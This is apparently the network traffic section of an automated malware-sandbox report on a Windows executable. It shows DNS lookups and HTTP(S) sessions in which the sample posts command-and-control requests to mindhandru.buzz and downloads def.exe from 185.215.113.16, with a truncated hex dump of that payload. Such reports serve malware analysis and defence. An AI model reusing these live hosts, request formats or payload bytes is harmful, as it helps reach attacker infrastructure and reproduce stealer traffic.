Dec 27, 2024 15:06:06.337276936 CET	52354	53	192.168.2.6	1.1.1.1
Dec 27, 2024 15:06:06.337276936 CET	55137	53	192.168.2.6	1.1.1.1
Dec 27, 2024 15:06:06.474126101 CET	53	52354	1.1.1.1	192.168.2.6
Dec 27, 2024 15:06:06.475096941 CET	53	55137	1.1.1.1	192.168.2.6
Dec 27, 2024 15:06:08.920895100 CET	49341	53	192.168.2.6	1.1.1.1
Dec 27, 2024 15:06:08.921128035 CET	64522	53	192.168.2.6	1.1.1.1
Dec 27, 2024 15:06:12.191020012 CET	50975	53	192.168.2.6	1.1.1.1
Dec 27, 2024 15:06:12.191186905 CET	64910	53	192.168.2.6	1.1.1.1
Dec 27, 2024 15:06:17.941112995 CET	53	55036	1.1.1.1	192.168.2.6
Dec 27, 2024 15:06:18.463495970 CET	54585	53	192.168.2.6	1.1.1.1
Dec 27, 2024 15:06:18.464230061 CET	50050	53	192.168.2.6	1.1.1.1
Dec 27, 2024 15:06:21.978492022 CET	53	49771	1.1.1.1	192.168.2.6
Dec 27, 2024 15:06:40.878492117 CET	53	64322	1.1.1.1	192.168.2.6
Dec 27, 2024 15:07:01.884057045 CET	53	52162	1.1.1.1	192.168.2.6
Dec 27, 2024 15:07:03.963308096 CET	53	56279	1.1.1.1	192.168.2.6
Dec 27, 2024 15:07:18.462707996 CET	63143	53	192.168.2.6	1.1.1.1
Dec 27, 2024 15:07:18.462876081 CET	50313	53	192.168.2.6	1.1.1.1

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 27, 2024 15:06:09.345046043 CET	192.168.2.6	1.1.1.1	c2c3	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 15:05:22.263134956 CET	192.168.2.6	1.1.1.1	0xd1d0	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:06:06.337276936 CET	192.168.2.6	1.1.1.1	0x46d2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:06:06.337276936 CET	192.168.2.6	1.1.1.1	0xcbd	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 27, 2024 15:06:08.920895100 CET	192.168.2.6	1.1.1.1	0x5f93	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:06:08.921128035 CET	192.168.2.6	1.1.1.1	0xa9d7	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 27, 2024 15:06:12.191020012 CET	192.168.2.6	1.1.1.1	0xa1fc	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:06:12.191186905 CET	192.168.2.6	1.1.1.1	0xf716	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 27, 2024 15:06:18.463495970 CET	192.168.2.6	1.1.1.1	0x7395	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:06:18.464230061 CET	192.168.2.6	1.1.1.1	0xf55e	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Dec 27, 2024 15:07:18.462707996 CET	192.168.2.6	1.1.1.1	0x5743	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:07:18.462876081 CET	192.168.2.6	1.1.1.1	0xfdf7	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 15:05:22.401511908 CET	1.1.1.1	192.168.2.6	0xd1d0	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:05:22.401511908 CET	1.1.1.1	192.168.2.6	0xd1d0	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:06:06.474126101 CET	1.1.1.1	192.168.2.6	0x46d2	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:06:06.475096941 CET	1.1.1.1	192.168.2.6	0xcbd	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 27, 2024 15:06:09.060364008 CET	1.1.1.1	192.168.2.6	0x5f93	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:09.060364008 CET	1.1.1.1	192.168.2.6	0x5f93	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:09.060364008 CET	1.1.1.1	192.168.2.6	0x5f93	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:09.060364008 CET	1.1.1.1	192.168.2.6	0x5f93	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:06:09.237761021 CET	1.1.1.1	192.168.2.6	0x7318	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:09.344921112 CET	1.1.1.1	192.168.2.6	0xa9d7	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:09.344921112 CET	1.1.1.1	192.168.2.6	0xa9d7	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:09.382277966 CET	1.1.1.1	192.168.2.6	0xbe2a	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:09.382277966 CET	1.1.1.1	192.168.2.6	0xbe2a	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:09.382277966 CET	1.1.1.1	192.168.2.6	0xbe2a	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:06:12.080368042 CET	1.1.1.1	192.168.2.6	0xb375	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:12.080668926 CET	1.1.1.1	192.168.2.6	0xb320	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:12.080668926 CET	1.1.1.1	192.168.2.6	0xb320	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:12.080668926 CET	1.1.1.1	192.168.2.6	0xb320	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:06:12.329389095 CET	1.1.1.1	192.168.2.6	0xf716	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:12.329389095 CET	1.1.1.1	192.168.2.6	0xf716	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:12.330404043 CET	1.1.1.1	192.168.2.6	0xa1fc	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:12.330404043 CET	1.1.1.1	192.168.2.6	0xa1fc	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:12.330404043 CET	1.1.1.1	192.168.2.6	0xa1fc	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:12.330404043 CET	1.1.1.1	192.168.2.6	0xa1fc	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 15:06:18.866492987 CET	1.1.1.1	192.168.2.6	0x7395	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:18.868582964 CET	1.1.1.1	192.168.2.6	0xf55e	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:23.559015036 CET	1.1.1.1	192.168.2.6	0x6afa	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:23.573704958 CET	1.1.1.1	192.168.2.6	0xae0e	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:30.758786917 CET	1.1.1.1	192.168.2.6	0x281	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:06:30.760023117 CET	1.1.1.1	192.168.2.6	0x1ff	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:07:18.600981951 CET	1.1.1.1	192.168.2.6	0xfdf7	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 15:07:18.706278086 CET	1.1.1.1	192.168.2.6	0x5743	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

mindhandru.buzz

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49755	185.215.113.16	80	1492	C:\Users\user\Desktop\738KZNfnzz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 15:05:45.740691900 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 15:05:47.081257105 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 14:05:46 GMT Content-Type: application/octet-stream Content-Length: 2787840 Last-Modified: Fri, 27 Dec 2024 14:04:53 GMT Connection: keep-alive ETag: "676eb405-2a8a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 98 d0 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +`Ui`D @ @ @.rsrcD``@.idata f@eopvusey)h@xpjnotyw b@.taggant@"h@
Dec 27, 2024 15:05:47.081289053 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:05:47.081305981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:05:47.081315041 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:05:47.081326962 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:05:47.081337929 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:05:47.081352949 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 15:05:47.081470013 CET	1236	IN	Data Raw: d7 e7 16 48 e3 1d c8 77 13 1c ee 57 cb ed ed 57 e5 e7 e9 57 e3 1d c8 4d cb 03 ee 57 e1 fd f3 57 e3 e8 fd 4a e3 22 ee 57 e3 18 ee 57 d0 e7 18 48 e3 01 20 5c e3 1f 14 42 ea ed 11 63 a6 1c 16 d2 ed 06 31 50 e3 1f 14 3a c2 1f ee 47 cb 16 ee 57 e5 eb Data Ascii: HwWWWMWWJ"WWH \Bc1P:GW@WWHWaWoM$HKmED!-HoMWJ?WWH \Bc1P:GW@WWHWaW@WWOW
Dec 27, 2024 15:05:47.081512928 CET	1236	IN	Data Raw: eb 1d ee 73 e1 bd 16 4e e3 8e e8 a5 e8 1d ee c5 ea a5 15 4e e3 22 e8 a5 e8 1d ee 81 ea a5 15 4e e3 4a 17 ba ea 01 ee cd ea 73 16 4e e3 ed 14 42 e3 1d ee bc e8 a5 15 4e e3 3e e9 a5 e8 1d ee a3 e5 a5 15 4e e3 6a 16 a6 e8 1d ee 0f e7 f6 15 4e e3 23 Data Ascii: sNN"NJsNBN>NjN#iM1B7MWWHWaYHgFBHWJWdH>NJ([WW>ZJ([WW>iJ
Dec 27, 2024 15:05:47.081525087 CET	1236	IN	Data Raw: e3 36 ee ee e9 ef ed c8 e0 7c 16 4e e3 96 ed ee e9 11 ee 80 e0 7c 16 4e e3 86 ed ee e9 1d ee e0 e0 7c 16 49 e3 d6 ed 78 e8 e6 ed 90 e0 e0 14 64 e3 be ed 7d e8 c9 ed f8 e0 e3 13 09 e3 4e ed db e5 5c ee a0 e0 e0 14 03 e3 4e ed 43 e4 2e ee b8 e0 ae Data Ascii: 6\|N\|N\|Ixd}N\NC.7vB#$vK2\\|NO@gh@_@k\|@ck@y@@Ch@/@Wp@?
Dec 27, 2024 15:05:47.201438904 CET	1236	IN	Data Raw: ac 44 2a 01 a1 56 41 0a ae 44 5a 17 a2 44 50 0e a8 5c ee 1a a4 29 58 01 a2 42 41 19 94 42 5c 11 9e 58 51 06 a1 46 29 48 92 58 41 05 a0 45 2f 0f a4 29 41 04 ae 58 55 48 92 42 5c 1e a8 58 2b 17 a4 29 5c 07 8d 54 2d 1a a8 53 57 0b a0 4b ee 1a a4 29 Data Ascii: DVADZDP\)XBAB\XQF)HXAE/)AXUHB\X+)\T-SWK)XBA)QEQ^RHB\X+(+C+E+XQ)Q(+F-XQ)Q(VCQ]-WT]/)XBA)PT-+(+F-]WT]S+C\B\HB\X+X-()XBAKA

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49707	104.21.11.101	443	1492	C:\Users\user\Desktop\738KZNfnzz.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:05:23 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-27 14:05:23 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 14:05:24 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:05:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=elk4vh60oljmrfnmquvona12s7; expires=Tue, 22 Apr 2025 07:52:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TpbmLqXoeFkCVDBOsu4KDWJ3IvPuq15e2YQ58xgDJb1JnsMTgWy0glmQF29w38j9weAUQbpEDgPQ8Z8Z0WtEE%2BMhnX7jtdo1I1kfdsttc%2FRsGADU4L5pz7iHez43OYMYdtw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89dd810fc2c46b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1673&min_rtt=1653&rtt_var=661&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=1606160&cwnd=226&unsent_bytes=0&cid=6c7c7213303abc40&ts=781&x=0"
2024-12-27 14:05:24 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 14:05:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49708	104.21.11.101	443	1492	C:\Users\user\Desktop\738KZNfnzz.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:05:25 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: mindhandru.buzz
2024-12-27 14:05:25 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-27 14:05:26 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:05:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cbf6nnvc4m42crc9q9cc5t5sem; expires=Tue, 22 Apr 2025 07:52:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3E9mQyVrjqO4th3dIvgksUBT9NDvdCaTvZr%2B7keb4wWh9dvX8pUrCvjDQSeHX5BzH0mk80IVE8%2FkIKTvSr006Lji%2FryesouibB9MCh8GXCpMNOUf06deWRM1F8EMj1XklmI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89dd8ece757d08-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1814&min_rtt=1813&rtt_var=683&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=952&delivery_rate=1600000&cwnd=177&unsent_bytes=0&cid=f9475eea4b1f6b1e&ts=798&x=0"
2024-12-27 14:05:26 UTC	246	IN	Data Raw: 34 37 32 0d 0a 4b 2f 4f 50 4d 61 58 33 6c 55 2f 56 69 51 73 4c 4f 6f 35 4f 35 48 57 70 6b 62 4c 7a 46 4c 61 39 75 6c 49 51 65 68 63 66 4a 68 78 51 30 66 6b 54 6e 38 4f 35 62 61 62 73 4b 54 46 4f 2f 44 75 42 57 59 76 77 31 74 45 75 30 4e 7a 57 49 58 56 57 4e 57 6c 4c 50 68 47 56 37 6c 33 57 6b 72 6c 74 73 50 45 70 4d 57 48 31 62 49 45 62 69 36 75 51 6c 6e 37 55 33 4e 59 77 63 52 46 34 62 30 70 2f 51 35 2f 6f 57 63 43 55 38 53 36 35 35 47 35 75 58 2b 38 6b 69 68 7a 45 2b 64 2f 52 4f 4a 54 59 77 48 41 71 57 46 70 36 55 6e 31 6d 6b 76 78 61 68 34 71 35 4e 50 66 73 5a 53 6b 41 72 43 2b 42 46 38 58 33 31 70 68 38 33 74 58 65 4d 58 51 51 5a 33 5a 41 64 45 4f 52 36 31 6a 4b 6e 65 55 6a 73 2b 4e 6c 61 46 58 76 62 4d 68 58 7a 4f 75 51 79 Data Ascii: 472K/OPMaX3lU/ViQsLOo5O5HWpkbLzFLa9ulIQehcfJhxQ0fkTn8O5babsKTFO/DuBWYvw1tEu0NzWIXVWNWlLPhGV7l3WkrltsPEpMWH1bIEbi6uQln7U3NYwcRF4b0p/Q5/oWcCU8S655G5uX+8kihzE+d/ROJTYwHAqWFp6Un1mkvxah4q5NPfsZSkArC+BF8X31ph83tXeMXQQZ3ZAdEOR61jKneUjs+NlaFXvbMhXzOuQy
2024-12-27 14:05:26 UTC	899	IN	Data Raw: 54 61 48 37 64 73 68 59 77 31 34 62 55 49 2b 56 74 2f 30 45 38 43 5a 74 33 58 33 34 32 56 6e 58 65 38 6a 67 52 62 4c 34 64 2b 52 64 64 7a 58 33 44 70 39 46 33 70 7a 54 6e 6c 42 6d 4f 70 63 77 4a 33 78 49 72 53 72 4a 79 6c 66 39 47 7a 65 56 2b 76 6a 30 35 4a 69 32 63 36 59 4c 7a 77 42 4e 58 70 49 50 68 48 52 36 31 33 47 6d 50 63 2f 76 2b 42 69 62 45 72 6e 4a 59 73 61 79 2f 37 61 6e 6e 58 55 32 4e 49 36 66 52 4a 78 63 45 6c 34 53 5a 47 74 48 59 65 53 37 32 33 76 71 30 70 73 53 4f 73 67 6b 46 58 78 73 38 2f 66 62 35 54 59 31 48 41 71 57 48 31 34 52 33 31 43 6e 75 35 62 7a 49 66 33 50 37 48 6d 62 48 74 65 36 53 4b 4d 46 4e 6e 35 33 70 64 31 33 64 54 52 4e 58 55 63 4e 54 4d 45 65 56 48 52 74 52 50 6d 6d 50 77 68 76 66 78 70 4b 55 65 69 4e 63 59 51 78 37 4f 49 Data Ascii: TaH7dshYw14bUI+Vt/0E8CZt3X342VnXe8jgRbL4d+RddzX3Dp9F3pzTnlBmOpcwJ3xIrSrJylf9GzeV+vj05Ji2c6YLzwBNXpIPhHR613GmPc/v+BibErnJYsay/7annXU2NI6fRJxcEl4SZGtHYeS723vq0psSOsgkFXxs8/fb5TY1HAqWH14R31Cnu5bzIf3P7HmbHte6SKMFNn53pd13dTRNXUcNTMEeVHRtRPmmPwhvfxpKUeiNcYQx7OI
2024-12-27 14:05:26 UTC	1369	IN	Data Raw: 34 34 61 61 0d 0a 6d 61 78 70 67 33 66 6c 67 74 50 55 74 78 52 70 6e 74 55 73 4f 59 38 79 79 36 35 32 42 71 56 4f 41 6b 69 78 76 50 2f 4e 69 5a 64 64 7a 4e 31 6a 35 30 48 6e 56 34 42 44 41 4a 6c 76 55 54 6e 39 58 54 49 36 44 2f 59 69 74 74 37 79 4b 49 45 4e 32 7a 7a 39 39 76 6c 4e 6a 55 63 43 70 59 65 33 42 50 63 6b 36 59 37 46 44 48 6e 2f 6b 69 76 65 4e 68 61 56 58 74 4a 34 34 52 78 76 6a 66 6e 6e 48 63 33 4e 51 31 66 78 73 31 4d 77 52 35 55 64 47 31 45 2b 4b 62 39 44 79 6d 71 56 78 71 56 75 49 72 6b 46 66 55 76 63 6e 52 63 64 69 66 67 48 42 34 48 33 4a 35 53 58 52 4b 6c 65 6c 65 79 4a 7a 2b 4a 4b 58 68 5a 57 64 4b 34 53 61 44 47 63 66 32 33 35 46 33 31 64 48 53 4f 7a 4a 57 4e 58 70 63 50 68 48 52 77 6c 37 58 68 2f 30 6d 70 71 6c 63 61 6c 62 69 4b 35 42 Data Ascii: 44aamaxpg3flgtPUtxRpntUsOY8yy652BqVOAkixvP/NiZddzN1j50HnV4BDAJlvUTn9XTI6D/Yitt7yKIEN2zz99vlNjUcCpYe3BPck6Y7FDHn/kiveNhaVXtJ44RxvjfnnHc3NQ1fxs1MwR5UdG1E+Kb9DymqVxqVuIrkFfUvcnRcdifgHB4H3J5SXRKleleyJz+JKXhZWdK4SaDGcf235F31dHSOzJWNXpcPhHRwl7Xh/0mpqlcalbiK5B
2024-12-27 14:05:26 UTC	1369	IN	Data Raw: 70 73 32 79 35 48 42 63 48 55 55 4e 53 55 45 64 45 57 56 37 6c 2f 4f 6d 66 6f 73 73 2b 78 6b 62 56 6a 71 4b 6f 4d 57 77 50 76 63 6e 6e 7a 59 32 39 51 35 64 42 52 32 66 6b 49 2b 42 39 48 71 53 34 66 4e 74 77 79 36 34 47 56 70 57 2f 30 72 78 6c 6d 4c 2f 64 61 52 4e 6f 7a 4a 79 43 64 31 42 7a 74 6b 42 48 6c 46 30 62 55 54 7a 59 66 79 49 37 50 68 62 47 31 55 35 69 79 44 42 63 50 31 31 35 31 2b 30 64 44 65 4e 58 38 66 66 6e 35 57 62 45 71 56 34 31 2b 48 32 37 63 71 72 36 73 78 4b 58 33 37 4c 35 59 52 79 4c 50 50 33 32 2b 55 32 4e 52 77 4b 6c 68 31 63 30 68 31 54 70 72 6d 56 38 4f 56 2b 69 61 35 35 57 42 6c 55 4f 41 72 6c 42 72 4f 2b 39 71 59 63 39 6a 53 32 79 4a 78 47 54 55 7a 42 48 6c 52 30 62 55 54 34 4b 62 41 44 76 66 30 4a 33 41 59 36 79 44 47 54 34 76 79 Data Ascii: ps2y5HBcHUUNSUEdEWV7l/Omfoss+xkbVjqKoMWwPvcnnzY29Q5dBR2fkI+B9HqS4fNtwy64GVpW/0rxlmL/daRNozJyCd1BztkBHlF0bUTzYfyI7PhbG1U5iyDBcP1151+0dDeNX8ffn5WbEqV41+H27cqr6sxKX37L5YRyLPP32+U2NRwKlh1c0h1TprmV8OV+ia55WBlUOArlBrO+9qYc9jS2yJxGTUzBHlR0bUT4KbADvf0J3AY6yDGT4vy
